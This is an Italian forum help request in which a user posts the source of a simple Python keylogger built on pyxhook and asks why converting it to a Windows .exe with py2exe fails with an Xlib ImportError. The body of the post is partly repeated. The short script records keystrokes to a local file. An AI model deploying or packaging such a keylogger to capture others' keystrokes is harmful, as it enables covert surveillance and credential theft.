Ultima modifica da un moderatore:
Salve, ho provato a creare uno script che acquisice i tasti premuti sulla tastiera e li salva sul disco.
In ambiente linux tutto ok, ma quando faccio la conversione da .py a .exe mi vengono generati i seguenti errori
Traceback (most recent call last):
File "keylog.py", line 1, in <module>
import pyxhook
File "CUsers\nessun0\Desktop\keylog\pyxhook.py", line 42, in <module>
from Xlib import X, XK, display
ImportError: No module named Xlib
In pratica ho il file principale:
e il modulo importato che lascio nella stessa cartella, chiamato pyxhook che è una libreria che si può usare su linux è simile alla libreria pyhook.
per convertire digito python setup.py py2exe.
il file setup.py è:
QUACHE SUGGERIMENTO O AIUTO???????????????????????????
In ambiente linux tutto ok, ma quando faccio la conversione da .py a .exe mi vengono generati i seguenti errori
Traceback (most recent call last):
File "keylog.py", line 1, in <module>
import pyxhook
File "CUsers\nessun0\Desktop\keylog\pyxhook.py", line 42, in <module>
from Xlib import X, XK, display
ImportError: No module named Xlib
In pratica ho il file principale:
Codice:
import pyxhook
log_file='C:\file.log'
def OnKeyPress(event):
fob=open(log_file,'a')
fob.write(event.Key)
fob.write('\n')
if event.Ascii==96: #96 is the ascii value of the grave key (`)
fob.close()
new_hook.cancel()
new_hook=pyxhook.HookManager()
new_hook.KeyDown=OnKeyPress
new_hook.HookKeyboard()
new_hook.start()
e il modulo importato che lascio nella stessa cartella, chiamato pyxhook che è una libreria che si può usare su linux è simile alla libreria pyhook.
per convertire digito python setup.py py2exe.
il file setup.py è:
Codice:
from distutils.core import setup
import py2exe
setup(console=['keylogger.py'])
QUACHE SUGGERIMENTO O AIUTO???????????????????????????